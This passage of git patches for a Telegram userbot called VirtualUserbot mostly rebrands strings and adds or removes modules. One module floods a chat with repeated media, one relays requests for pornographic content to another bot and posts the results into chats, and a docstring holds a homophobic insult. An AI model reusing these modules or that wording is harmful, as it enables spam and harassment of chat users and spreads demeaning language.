response_content["months"][0]["days"][0] - a = json.dumps(current_date_detail_arraays, sort_keys=True, indent=4) - else: - a = response_content["error"] - await event.edit(str(a)) - else: - await event.edit("SYNTAX: .calendar YYYY-MM-DD") - end = datetime.now() - (end - start).seconds From 56a6b3f96c0a6db5a7b42980ca773d1b550cdd10 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 10 Jan 2021 10:19:53 +0530 Subject: [PATCH 427/838] Update stickers.py --- fridaybot/modules/stickers.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/fridaybot/modules/stickers.py b/fridaybot/modules/stickers.py index 51391435..754d0263 100644 --- a/fridaybot/modules/stickers.py +++ b/fridaybot/modules/stickers.py @@ -55,16 +55,16 @@ async def _(event): userid = event.sender_id # packname = f"FRIDAY PACK" # packshortname = f"FRIDAY_{userid}_ns" # format: Uni_Borg_userid - if userid == 1263617196: - packname = f"@StarkGang Packs 🎭" - packshortname = "StarkGangPack" + if userid == 1141839926: + packname = f"@Infinity_Bots Packs " + packshortname = "Infinity_Bots" else: packname = f"@{user.username} KangPack {pack}" - packshortname = f"FRIDAY_{userid}_Pack" + packshortname = f"Infinity_Bots_{userid}_Pack" await moods.edit("`This Sticker is Gonna Get Stolen.....`") is_a_s = is_it_animated_sticker(reply_message) - file_ext_ns_ion = "@FRIDAYOT.png" + file_ext_ns_ion = "@VirtualUserbot.png" file = await borg.download_file(reply_message.media) uploaded_sticker = None if is_a_s: @@ -75,7 +75,7 @@ async def _(event): packshortname = "StarkGangisgreat" else: packname = f"@{user.username} KangPack {pack}" - packshortname = f"FRIDAY_{userid}" # format: Uni_Borg_userid + packshortname = f"Infinity_Bots_{userid}" # format: Uni_Borg_userid elif not is_message_image(reply_message): await moods.edit("Invalid message type") return From ef29b8bc61c02d6fbba224f5d3f80b2108e7278a Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 10 Jan 2021 10:24:51 +0530 Subject: [PATCH 428/838] Update app.py --- fridaybot/modules/app.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/app.py b/fridaybot/modules/app.py index c589d10e..e55b137b 100644 --- a/fridaybot/modules/app.py +++ b/fridaybot/modules/app.py @@ -73,7 +73,7 @@ async def apk(event): + app_link + "'>View in Play Store" ) - app_details += "\n\n===> @FridayOT <===" + app_details += "\n\n===> @Infinity_Bots <===" await event.edit(app_details, link_preview=True, parse_mode="HTML") except IndexError: await event.edit("No result found in search. Please enter **Valid app name**") @@ -144,7 +144,7 @@ async def apkr(event): + "'>View in Play Store" ) app_details += "\n\nDownload : Request_Here" - app_details += "\n\n===> @FridayOT <===" + app_details += "\n\n===> @Infinity_Bots <===" await event.edit(app_details, link_preview=True, parse_mode="HTML") except IndexError: await event.edit("No result found in search. Please enter **Valid app name**") @@ -152,6 +152,9 @@ async def apkr(event): await event.edit("Exception Occured:- " + str(err)) + + + CMD_HELP.update( { "app": ".app [app name]\ From c9345feb968e18515bd1e3ddf36c419549a09cb0 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 10 Jan 2021 10:29:03 +0530 Subject: [PATCH 429/838] Update power_tools.py --- fridaybot/modules/power_tools.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/power_tools.py b/fridaybot/modules/power_tools.py index 10ab6ae5..e1124b1f 100644 --- a/fridaybot/modules/power_tools.py +++ b/fridaybot/modules/power_tools.py @@ -41,8 +41,8 @@ async def _(event): { "power_tools": "**Power Tools**\ \n\n**Syntax : **`.restart`\ -\n**Usage :** restarts your Friday userbot.\ +\n**Usage :** restarts your Virtualuserbot.\ \n\n**Syntax : **`.shutdown`\ -\n**Usage :** Shuts down your Friday userbot." +\n**Usage :** Shuts down your Virtualuserbot." } ) From e24489c924b7c73bced735be2aa3ded7316cd429 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 10 Jan 2021 10:30:03 +0530 Subject: [PATCH 430/838] Delete phd.py --- fridaybot/modules/phd.py | 125 --------------------------------------- 1 file changed, 125 deletions(-) delete mode 100644 fridaybot/modules/phd.py diff --git a/fridaybot/modules/phd.py b/fridaybot/modules/phd.py deleted file mode 100644 index 11d80350..00000000 --- a/fridaybot/modules/phd.py +++ /dev/null @@ -1,125 +0,0 @@ -""" -Pornhub downloader by @anubisxx -Syntax: .phd link -""" - - -import asyncio - -import requests -from bs4 import BeautifulSoup -from telethon.errors.rpcerrorlist import ( - UserAlreadyParticipantError, - YouBlockedUserError, -) -from telethon.tl.functions.channels import JoinChannelRequest -from telethon.tl.functions.messages import ImportChatInviteRequest - -from fridaybot.utils import friday_on_cmd - - -@friday.on(friday_on_cmd("phd ?(.*)")) -async def _(event): - - if event.fwd_from: - - return - - d_link = event.pattern_match.group(1) - - r = requests.get(d_link) - - soup = BeautifulSoup(r.content, "html.parser") - - temporary_variable = soup.find("span", {"class": "inlineFree"}) - - title = temporary_variable.text - - temp = soup.find("div", {"class": "thumbnail"}) - - view = soup.find("span", {"class": "count"}) - - views = view.text - - temporary_variable_to_use = temp.find("img") - - temporary_variable_to_use["data-src"] - - if "pornhub" not in d_link: - - await event.edit("` I need a link to download something pro.`**(._.)**") - - else: - - await event.edit( - "**💦Preparing to upload Video💦 **\n**Title**: `{}`\n**Total Views**: `{}`".format( - title, views - ) - ) - - await asyncio.sleep(2) - - async with event.client.conversation("@phsavebot") as conv: - - try: - - await conv.send_message("/start") - - oop = await conv.get_response() - - if "language" in oop.text: - - await borg.send_message( - event.chat_id, - "**Please go to** @phsavebot **and select your language**", - ) - - await asyncio.sleep(2) - - me = await borg.get_me() - - me.id - - # Necessary for the bot to work ;-; - - try: - - await borg(JoinChannelRequest("Allsavernews")) - - await borg(ImportChatInviteRequest("AAAAAFZPuYvdW1A8mrT8Pg")) - - except UserAlreadyParticipantError: - - await asyncio.sleep(0.00000069420) - - await conv.send_message(d_link) - - response = await conv.get_response() - - if "Downloading" in response.text: - - video_hehe = await conv.get_response() - - await borg.send_file( - event.chat_id, - video_hehe, - caption="`🤤 Video Uploaded by` [@anubisxx](https://github.com/Dark-Princ3/X-tra-Telegram)!🤤\n**Title:** `{}`".format( - title - ), - ) - - elif "Unfortunately" in response.text: - - await event.edit( - "`Woops, Incorrect link!`\n**Please check and try again.**" - ) - - elif "correct" in response.text: - - await borg.send_message(event.chat_id, response.text) - - except YouBlockedUserError: - - await event.reply("**Please unblock** @phsavebot **and try again**") - - return From 1f2f80dfa3fc671988338d5fa05c7f6bcf92918d Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 10 Jan 2021 11:13:26 +0530 Subject: [PATCH 431/838] Update Configs.py --- fridaybot/Configs.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/Configs.py b/fridaybot/Configs.py index c3baaf2d..f711c53e 100644 --- a/fridaybot/Configs.py +++ b/fridaybot/Configs.py @@ -143,7 +143,7 @@ class Config(object): FBAN_GROUP = int(os.environ.get("FBAN_GROUP", False)) PM_DATA = os.environ.get("PM_DATA", "ENABLE") DEEP_AI = os.environ.get("DEEP_AI", None) - TAG_LOG = os.environ.get("TAG_LOG", None) + TAG_LOG = os.environ.get("PRIVATE_GROUP_ID", None) ENABLE_ASSISTANTBOT = os.environ.get("ENABLE_ASSISTANTBOT", "ENABLE") TAG_FEATURE = os.environ.get("TAG_FEATURE", "DISABLE") JTM_CHANNEL_ID = int(os.environ.get("JTM_CHANNEL_ID", False)) From 66c3b63c61c4e6795877715e52a9fdf971802716 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 10 Jan 2021 11:23:26 +0530 Subject: [PATCH 432/838] Create stickertoimage.py --- fridaybot/modules/stickertoimage.py | 46 +++++++++++++++++++++++++++++ 1 file changed, 46 insertions(+) create mode 100644 fridaybot/modules/stickertoimage.py diff --git a/fridaybot/modules/stickertoimage.py b/fridaybot/modules/stickertoimage.py new file mode 100644 index 00000000..e553ada8 --- /dev/null +++ b/fridaybot/modules/stickertoimage.py @@ -0,0 +1,46 @@ +# Written By Inuka Asith for VirtualUserbbot +# VirtualUserbot 2021 + +""" +Avaible commands: .stickertoimage +""" +from telethon import events +from telethon.errors.rpcerrorlist import YouBlockedUserError + +from ..utils import admin_cmd + + +@borg.on(admin_cmd(pattern="stickertoimage ?(.*)")) +async def _(event): + if event.fwd_from: + return + if not event.reply_to_msg_id: + await event.edit("```Reply to any user message.```") + return + reply_message = await event.get_reply_message() + if not reply_message.media: + await event.edit("```Reply to sticker message```") + return + chat = "@DownloadStickersBot" + reply_message.sender + if reply_message.sender.bot: + await event.edit("```Reply to actual users message.```") + return + await event.edit("```Making a sticker to image```") + async with event.client.conversation(chat) as conv: + try: + response = conv.wait_event( + events.NewMessage(incoming=True, from_users=658563529) + ) + await event.client.forward_messages(chat, reply_message) + response = await response + except YouBlockedUserError: + await event.reply("```Please unblock me (@DownloadStickersBot) ```") + return + if response.text.startswith("Hi!"): + await event.edit( + "```Can you kindly disable your forward privacy settings for good?```" + ) + else: + await event.delete() + await event.client.send_message(event.chat_id, response.message) From da0e54a31e446e6a3e92e1e0a02b5d2c45a6b295 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 10 Jan 2021 11:28:34 +0530 Subject: [PATCH 433/838] Don't Forget Studies --- fridaybot/modules/study.py | 137 +++++++++++++++++++++++++++++++++++++ 1 file changed, 137 insertions(+) create mode 100644 fridaybot/modules/study.py diff --git a/fridaybot/modules/study.py b/fridaybot/modules/study.py new file mode 100644 index 00000000..a712eb56 --- /dev/null +++ b/fridaybot/modules/study.py @@ -0,0 +1,137 @@ +import asyncio +import datetime + +from telethon import events +from telethon.tl import functions, types + +from fridaybot import ALIVE_NAME +from ..utils import admin_cmd + +global USER_night # pylint:disable=E0602 +global night_time # pylint:disable=E0602 +global last_night_message # pylint:disable=E0602 +USER_night = {} +night_time = None +last_night_message = {} + +DEFAULTUSER = ( + str(ALIVE_NAME) if ALIVE_NAME else "Set ALIVE_NAME in config vars in Heroku" +) + + +@borg.on(events.NewMessage(outgoing=True)) # pylint:disable=E0602 +async def set_not_night(event): + global USER_night # pylint:disable=E0602 + global night_time # pylint:disable=E0602 + global last_night_message # pylint:disable=E0602 + current_message = event.message.message + if ".night" not in current_message and "yes" in USER_night: # pylint:disable=E0602 + try: + await borg.send_message( # pylint:disable=E0602 + Var.PLUGIN_CHANNEL, # pylint:disable=E0602 + "Mine Owner has Gone Study `Please Don't Disturb`", + ) + except Exception as e: # pylint:disable=C0103,W0703 + await borg.send_message( # pylint:disable=E0602 + event.chat_id, + "Please set `PLUGIN_CHANNEL` " + + "for the proper functioning of study functionality " + + "in @blacklightningot \n\n `{}`".format(str(e)), + reply_to=event.message.id, + silent=True, + ) + USER_night = {} # pylint:disable=E0602 + night_time = None # pylint:disable=E0602 + + +@borg.on(admin_cmd(pattern=r"study ?(.*)")) +async def _(event): + if event.fwd_from: + return + global USER_night # pylint:disable=E0602 + global night_time # pylint:disable=E0602 + global last_night_message # pylint:disable=E0602 + global reason + USER_night = {} + night_time = None + last_night_message = {} + reason = event.pattern_match.group(1) + if not USER_night: # pylint:disable=E0602 + last_seen_status = await borg( # pylint:disable=E0602 + functions.account.GetPrivacyRequest(types.InputPrivacyKeyStatusTimestamp()) + ) + if isinstance(last_seen_status.rules, types.PrivacyValueAllowAll): + night_time = datetime.datetime.now() # pylint:disable=E0602 + USER_night = f"yes: {reason}" # pylint:disable=E0602 + if reason: + await event.edit(f"My Boss Is Going To study Dnd ") + else: + await event.edit(f"My Boss is Going To study") + await asyncio.sleep(5) + await event.delete() + try: + await borg.send_message( # pylint:disable=E0602 + Var.PLUGIN_CHANNEL, f"My BOSS Wants So Study" # pylint:disable=E0602 + ) + except Exception as e: # pylint:disable=C0103,W0703 + logger.warn(str(e)) # pylint:disable=E0602 + + +@borg.on( + events.NewMessage( # pylint:disable=E0602 + incoming=True, func=lambda e: bool(e.mentioned or e.is_private) + ) +) +async def on_night(event): + if event.fwd_from: + return + global USER_night # pylint:disable=E0602 + global night_time # pylint:disable=E0602 + global last_night_message # pylint:disable=E0602 + night_since = "**a while ago**" + current_message_text = event.message.message.lower() + if "night" in current_message_text: + # userbot's should not reply to other userbot's + # https://core.telegram.org/bots/faq#why-doesn-39t-my-bot-see-messages-from-other-bots + return False + if USER_night and not (await event.get_sender()).bot: # pylint:disable=E0602 + if night_time: # pylint:disable=E0602 + now = datetime.datetime.now() + datime_since_night = now - night_time # pylint:disable=E0602 + time = float(datime_since_night.seconds) + days = time // (24 * 3600) + time = time % (24 * 3600) + hours = time // 3600 + time %= 3600 + minutes = time // 60 + time %= 60 + seconds = time + if days == 1: + night_since = "**Yesterday**" + elif days > 1: + if days > 6: + date = now + datetime.timedelta( + days=-days, hours=-hours, minutes=-minutes + ) + night_since = date.strftime("%A, %Y %B %m, %H:%I") + else: + wday = now + datetime.timedelta(days=-days) + night_since = wday.strftime("%A") + elif hours > 1: + night_since = f"`{int(hours)}h{int(minutes)}m` **ago**" + elif minutes > 0: + night_since = f"`{int(minutes)}m{int(seconds)}s` **ago**" + else: + night_since = f"`{int(seconds)}s` **ago**" + msg = None + message_to_reply = ( + f"My Master Has Been Gone For {night_since}\nWhere He Is: **Studing** " + + f"\n\n__ I'll back in a few Light years__\n**" + if reason + else f"**Important Notice**\n\n[{DEFAULTUSER} Is Studying And Also Trying to win the Future...](https://telegra.ph/file/2512147bc1e2d4ae27922.mp4) " + ) + msg = await event.reply(message_to_reply) + await asyncio.sleep(5) + if event.chat_id in last_night_message: # pylint:disable=E0602 + await last_night_message[event.chat_id].delete() # pylint:disable=E0602 + last_night_message[event.chat_id] = msg # pylint:disable=E0602 From ab7fe77edb1cd865055946b09e31bdf9a6332472 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 10 Jan 2021 11:31:46 +0530 Subject: [PATCH 434/838] How can we foget xnxx --- fridaybot/modules/xnxx.py | 84 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 84 insertions(+) create mode 100644 fridaybot/modules/xnxx.py diff --git a/fridaybot/modules/xnxx.py b/fridaybot/modules/xnxx.py new file mode 100644 index 00000000..c88c43f3 --- /dev/null +++ b/fridaybot/modules/xnxx.py @@ -0,0 +1,84 @@ +# created by Inuka Asith For VirtualUserbot +"""xoxbot: Avaible commands: .xnxx picx les +""" + + +from telethon import events +from telethon.errors.rpcerrorlist import YouBlockedUserError + +from ..utils import admin_cmd + + +@borg.on(admin_cmd(pattern="xnxx?(.*)")) +async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + await event.get_reply_message() + chat = "@SeXn1bot" + await event.edit("```Checking...```") + async with event.client.conversation(chat) as conv: + try: + response = conv.wait_event( + events.NewMessage(incoming=True, from_users=264121194) + ) + await event.client.send_message(chat, "💋2016 Videolar🔞{}".format(input_str)) + response = await response + except YouBlockedUserError: + await event.reply("```Unblock @SeXn1bot```") + return + if response.text.startswith("I can't find that"): + await event.edit("😐") + else: + await event.delete() + await event.client.send_file(event.chat_id, response.message) + + +@borg.on(admin_cmd(pattern="picx?(.*)")) +async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + await event.get_reply_message() + chat = "@SeXn1bot" + await event.edit("```Checking...```") + async with event.client.conversation(chat) as conv: + try: + response = conv.wait_event( + events.NewMessage(incoming=True, from_users=264121194) + ) + await event.client.send_message(chat, "♨️Old photo👙{}".format(input_str)) + response = await response + except YouBlockedUserError: + await event.reply("```Unblock @SeXn1bot```") + return + if response.text.startswith("I can't find that"): + await event.edit("😐") + else: + await event.delete() + await event.client.send_file(event.chat_id, response.message) + + +@borg.on(admin_cmd(pattern="les?(.*)")) +async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + await event.get_reply_message() + chat = "@SeXn1bot" + await event.edit("```Checking...```") + async with event.client.conversation(chat) as conv: + try: + response = conv.wait_event( + events.NewMessage(incoming=True, from_users=264121194) + ) + await event.client.send_message(chat, "🔞Uz_sex♨️{}".format(input_str)) + response = await response + except YouBlockedUserError: + await event.reply("```Unblock @SeXn1bot```") + return + if response.text.startswith("I can't find that"): + await event.edit("😐") + else: + await event.delete() + await event.client.send_file(event.chat_id, response.message) From 1ced4fb02d53d5551a78dae1f5b27457e69e5ac7 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 10 Jan 2021 11:48:31 +0530 Subject: [PATCH 435/838] Create exclusive.py --- fridaybot/modules/exclusive.py | 80 ++++++++++++++++++++++++++++++++++ 1 file changed, 80 insertions(+) create mode 100644 fridaybot/modules/exclusive.py diff --git a/fridaybot/modules/exclusive.py b/fridaybot/modules/exclusive.py new file mode 100644 index 00000000..a89b8021 --- /dev/null +++ b/fridaybot/modules/exclusive.py @@ -0,0 +1,80 @@ +# Written By Inuka Asith for the VirtualUserbot + +import asyncio + +from telethon import events +from telethon.errors.rpcerrorlist import YouBlockedUserError + +from ..utils import admin_cmd + + +@borg.on(admin_cmd(pattern="purl ?(.*)", allow_sudo=True)) +async def _(event): + if event.fwd_from: + return + if not event.reply_to_msg_id: + await event.edit("**Reply to any document.**") + return + reply_message = await event.get_reply_message() + chat = "@FiletolinkTGbot" + reply_message.sender + await event.edit("**Making public url...**") + async with event.client.conversation(chat) as conv: + try: + response = conv.wait_event( + events.NewMessage(incoming=True, from_users=1011636686) + ) + await event.client.forward_messages(chat, reply_message) + response = await response + except YouBlockedUserError: + await event.reply("Please unblock me @FiletolinkTGbot") + return + await event.delete() + await event.client.send_message( + event.chat_id, response.message, reply_to=reply_message + ) + + + + +@borg.on(admin_cmd(pattern="reader ?(.*)", allow_sudo=True)) +async def _(event): + if event.fwd_from: + return + if not event.reply_to_msg_id: + await event.edit("**Reply to a URL.**") + return + reply_message = await event.get_reply_message() + if not reply_message.text: + await event.edit("**Reply to a url message.**") + return + chat = "@chotamreaderbot" + reply_message.sender + await event.edit("**Making instant view...**") + async with event.client.conversation(chat) as conv: + try: + response = conv.wait_event( + events.NewMessage(incoming=True, from_users=272572121) + ) + await event.client.forward_messages(chat, reply_message) + response = await response + except YouBlockedUserError: + await event.reply("Please unblock me @chotamreaderbot") + return + await event.delete() + await event.client.send_message( + event.chat_id, response.message, reply_to=reply_message + ) + + +@borg.on(admin_cmd(pattern="connecter ?(.*)", allow_sudo=True)) +async def _(event): + if event.fwd_from: + return + if event.is_private: + return + chat_id = event.chat_id + await event.client.send_message("missrose_bot", "/connect {}".format(chat_id)) + await event.edit("[Connected](https://t.me/missrose_bot)") + await asyncio.sleep(3) + await event.delete() From a8bd6ef4cdde7e9f2c12771df4f1e5280940bd6d Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 10 Jan 2021 11:53:33 +0530 Subject: [PATCH 436/838] Create mspam.py --- fridaybot/modules/mspam.py | 49 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 49 insertions(+) create mode 100644 fridaybot/modules/mspam.py diff --git a/fridaybot/modules/mspam.py b/fridaybot/modules/mspam.py new file mode 100644 index 00000000..d7aacbdc --- /dev/null +++ b/fridaybot/modules/mspam.py @@ -0,0 +1,49 @@ +# Written By Inuka Asith for VirtualUserbot + +from ..utils import admin_cmd + + +@bot.on(admin_cmd(pattern="mspam (.*)")) +async def tiny_pic_spam(e): + + sender = await e.get_sender() + me = await e.client.get_me() + + if not sender.id == me.id and not FULL_SUDO: + + return await e.reply("`Sorry sudo users cant access this command..`") + + try: + + await e.delete() + + except: + + pass + + try: + + counter = int(e.pattern_match.group(1).split(" ", 1)[0]) + + reply_message = await e.get_reply_message() + + if ( + not reply_message + or not e.reply_to_msg_id + or not reply_message.media + or not reply_message.media + ): + + return await e.edit("```Reply to a pic/sticker/gif/video message```") + + message = reply_message.media + + for i in range(1, counter): + + await e.client.send_file(e.chat_id, message) + + except: + + return await e.reply( + f"**Error**\nUsage `!mspam reply to a sticker/gif/photo/video`" + ) From 2b794436e799af9089deb535e53b0e3c72b33bb8 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 10 Jan 2021 12:36:10 +0530 Subject: [PATCH 437/838] Update README.md --- README.md | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index f6d33597..af3a9698 100644 --- a/README.md +++ b/README.md @@ -198,16 +198,27 @@ published by the Free Software Foundation, either version 3 of the License, or # Full Credits - FridayUserBot ❤️ + Most of the Plugins Taken from this Project.. Made possible by this. Full Credits. Full Respect + - DarkCobra 😍 + Image Tools Plugins Copied from DC Project.. Credits to DC Team + - CatUserbot + Internal Core Plugins taken.. Helped a lot to fix bugs in source.. Full respect + - Uniborg -Userbot's Made possible. Credits + +Userbots Made possible. Credits + - TeleBot + Speed Boosted by the help of this source code.. Credits + - Black Lightning + Got Fun tools from this.. Respect From a7f1ef3428281b21ef48c9607a871cffbc6c83ad Mon Sep 17 00:00:00 2001 From: SLdevilX <52373359+SLdevilX@users.noreply.github.com> Date: Sun, 10 Jan 2021 13:15:55 +0530 Subject: [PATCH 438/838] Delete alive.py --- fridaybot/modules/alive.py | 75 -------------------------------------- 1 file changed, 75 deletions(-) delete mode 100644 fridaybot/modules/alive.py diff --git a/fridaybot/modules/alive.py b/fridaybot/modules/alive.py deleted file mode 100644 index 8c421819..00000000 --- a/fridaybot/modules/alive.py +++ /dev/null @@ -1,75 +0,0 @@ -"""Check if Vbot alive. If you change these, you become the gayest gay such that even the gay world will disown you.""" -# CREDITS: @WhySooSerious, @Sur_vivor -import time - -from uniborg.util import friday_on_cmd, sudo_cmd - -from fridaybot import ALIVE_NAME, CMD_HELP, Lastupdate -from fridaybot.Configs import Config -from fridaybot.modules import currentversion - - -# Functions -def get_readable_time(seconds: int) -> str: - count = 0 - ping_time = "" - time_list = [] - time_suffix_list = ["s", "m", "h", "days"] - - while count < 4: - count += 1 - if count < 3: - remainder, result = divmod(seconds, 60) - else: - remainder, result = divmod(seconds, 24) - if seconds == 0 and remainder == 0: - break - time_list.append(int(result)) - seconds = int(remainder) - - for x in range(len(time_list)): - time_list[x] = str(time_list[x]) + time_suffix_list[x] - if len(time_list) == 4: - ping_time += time_list.pop() + ", " - - time_list.reverse() - ping_time += ":".join(time_list) - - return ping_time - - -uptime = get_readable_time((time.time() - Lastupdate)) -DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "Unknown" -PM_IMG = Config.ALIVE_IMAGE -pm_caption = "➥ **I'm:** `ONLINE`\n\n" -pm_caption += "➥ **SYSTEMS STATS**\n" -pm_caption += "➥ **Telethon Version:** `1.15.0` \n" -pm_caption += "➥ **Python:** `3.9.0` \n" -pm_caption += f"➥ **Uptime** : `{uptime}` \n" -pm_caption += "➥ **Database Status:** `Functional`\n" -pm_caption += "➥ **Current Branch** : `master`\n" -pm_caption += f"➥ **Version** : `{currentversion}`\n" -pm_caption += f"➥ **My Boss** : {DEFAULTUSER} \n" -pm_caption += "➥ **Heroku Database** : `AWS - Working Properly`\n\n" -pm_caption += "➥ **License** : [GNU General Public License v3.0](github.com/inukaasith/virtualuserbot/blob/master/LICENSE)\n" -pm_caption += "➥ **Copyright** : By [VirtualUserbot](https://github.com/inukaasith/virtualuserbot)\n" -pm_caption += "➥ **Check Stats By Doing** `.stat`. \n\n" -pm_caption += "[Contact Dev](https://t.me/inukaasith)" - - -@friday.on(friday_on_cmd(pattern=r"alive")) -@friday.on(sudo_cmd(pattern=r"alive", allow_sudo=True)) -async def friday(alive): - await alive.get_chat() - """ For .alive command, check if the bot is running. """ - await borg.send_file(alive.chat_id, PM_IMG, caption=pm_caption) - await alive.delete() - - -CMD_HELP.update( - { - "alive": "**ALive**\ -\n\n**Syntax : **`.alive`\ -\n**Usage :** Check if UserBot is Alive" - } -) From e717442862dacf6c0030f20cbb31576ed809997b Mon Sep 17 00:00:00 2001 From: SLdevilX <52373359+SLdevilX@users.noreply.github.com> Date: Sun, 10 Jan 2021 13:16:38 +0530 Subject: [PATCH 439/838] Add files via upload --- fridaybot/modules/alive.py | 75 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 75 insertions(+) create mode 100644 fridaybot/modules/alive.py diff --git a/fridaybot/modules/alive.py b/fridaybot/modules/alive.py new file mode 100644 index 00000000..b2884ffa --- /dev/null +++ b/fridaybot/modules/alive.py @@ -0,0 +1,75 @@ +"""Check if fridaybot alive. If you change these, you become the gayest gay such that even the gay world will disown you.""" +# CREDITS: @WhySooSerious, @Sur_vivor +import time + +from uniborg.util import friday_on_cmd, sudo_cmd + +from fridaybot import ALIVE_NAME, CMD_HELP, Lastupdate +from fridaybot.Configs import Config +from fridaybot.modules import currentversion + + +# Functions +def get_readable_time(seconds: int) -> str: + count = 0 + ping_time = "" + time_list = [] + time_suffix_list = ["s", "m", "h", "days"] + + while count < 4: + count += 1 + if count < 3: + remainder, result = divmod(seconds, 60) + else: + remainder, result = divmod(seconds, 24) + if seconds == 0 and remainder == 0: + break + time_list.append(int(result)) + seconds = int(remainder) + + for x in range(len(time_list)): + time_list[x] = str(time_list[x]) + time_suffix_list[x] + if len(time_list) == 4: + ping_time += time_list.pop() + ", " + + time_list.reverse() + ping_time += ":".join(time_list) + + return ping_time + + +uptime = get_readable_time((time.time() - Lastupdate)) +DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "Unknown" +PM_IMG = Config.ALIVE_IMAGE +pm_caption = " **virtualuserbot ** \n\n" +pm_caption += "➣ **SYS** `នƴន ʀᴜɴɴɪɢ⋆ 🏃`\n" +pm_caption += "➣ **Telethon** `₁.₁₅.₀ ` \n" +pm_caption += "➣ **Python** `₃.₇.₄ ` \n" +pm_caption += f"➣ **Uptime** `{uptime}` \n" +pm_caption += "➣ **Realised** `Λi_user project`\n" +pm_caption += "➣ **Branch** `master`\n" +pm_caption += f"➣ **Version** `{currentversion}`\n" +pm_caption += f"➣ **My Boss** {DEFAULTUSER} \n" +pm_caption += "➣ **RDP** `Azureˢˢˡ`\n" +pm_caption += "➣ **License** [GNU GPLv3.0](github.com/inukaasith/virtualuserbot/blob/master/LICENSE)\n" +pm_caption += "➣ **Copyright** [@virtualuserbot](https://github.com/inukaasith/virtualuserbot)\n" +pm_caption += "➣ **Check ** `.stat`. \n\n" +pm_caption += "[Contact Dev](https://t.me/inukaasith)" +pm_caption += "[Contact Dev](https://t.me/Zzlll_lllzZ)" + +@friday.on(friday_on_cmd(pattern=r"alive")) +@friday.on(sudo_cmd(pattern=r"alive", allow_sudo=True)) +async def friday(alive): + await alive.get_chat() + """ For .alive command, check if the bot is running. """ + await borg.send_file(alive.chat_id, PM_IMG, caption=pm_caption) + await alive.delete() + + +CMD_HELP.update( + { + "alive": "**ALive**\ +\n\n**Syntax : **`.alive`\ +\n**Usage :** Check if UserBot is Alive" + } +) From 95eb16dbbca0d5cca6afb0053ad2130505a18650 Mon Sep 17 00:00:00 2001 From: SLdevilX <52373359+SLdevilX@users.noreply.github.com> Date: Sun, 10 Jan 2021 13:40:12 +0530 Subject: [PATCH 440/838] Update alive.py --- fridaybot/modules/alive.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/alive.py b/fridaybot/modules/alive.py index b2884ffa..b33392f6 100644 --- a/fridaybot/modules/alive.py +++ b/fridaybot/modules/alive.py @@ -54,8 +54,8 @@ def get_readable_time(seconds: int) -> str: pm_caption += "➣ **License** [GNU GPLv3.0](github.com/inukaasith/virtualuserbot/blob/master/LICENSE)\n" pm_caption += "➣ **Copyright** [@virtualuserbot](https://github.com/inukaasith/virtualuserbot)\n" pm_caption += "➣ **Check ** `.stat`. \n\n" -pm_caption += "[Contact Dev](https://t.me/inukaasith)" -pm_caption += "[Contact Dev](https://t.me/Zzlll_lllzZ)" +pm_caption += "[Contact Dev](https://t.me/inukaasith \n)" +pm_caption += "[Contact Mod](https://t.me/Zzlll_lllzZ)" @friday.on(friday_on_cmd(pattern=r"alive")) @friday.on(sudo_cmd(pattern=r"alive", allow_sudo=True)) From c7693f7c459aa8cc1c7970782377091a59827c70 Mon Sep 17 00:00:00 2001 From: SLdevilX <52373359+SLdevilX@users.noreply.github.com> Date: Sun, 10 Jan 2021 13:44:51 +0530 Subject: [PATCH 441/838] Update alive.py --- fridaybot/modules/alive.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/alive.py b/fridaybot/modules/alive.py index b33392f6..3e222f88 100644 --- a/fridaybot/modules/alive.py +++ b/fridaybot/modules/alive.py @@ -54,7 +54,7 @@ def get_readable_time(seconds: int) -> str: pm_caption += "➣ **License** [GNU GPLv3.0](github.com/inukaasith/virtualuserbot/blob/master/LICENSE)\n" pm_caption += "➣ **Copyright** [@virtualuserbot](https://github.com/inukaasith/virtualuserbot)\n" pm_caption += "➣ **Check ** `.stat`. \n\n" -pm_caption += "[Contact Dev](https://t.me/inukaasith \n)" +pm_caption += "[Contact Dev](https://t.me/inukaasith ) \n" pm_caption += "[Contact Mod](https://t.me/Zzlll_lllzZ)" @friday.on(friday_on_cmd(pattern=r"alive")) From 7400e4effec1ba2efb499250331ae3e494657568 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 10 Jan 2021 13:56:28 +0530 Subject: [PATCH 442/838] Copy thanks to KeinShin --- fridaybot/modules/copy.py | 22 ++++++++++++++++++++++ 1 file changed, 22 insertions(+) create mode 100644 fridaybot/modules/copy.py diff --git a/fridaybot/modules/copy.py b/fridaybot/modules/copy.py new file mode 100644 index 00000000..248eecf3 --- /dev/null +++ b/fridaybot/modules/copy.py @@ -0,0 +1,22 @@ +# Original credits to Black Lightning + +from ..utils import admin_cmd +from userbot import 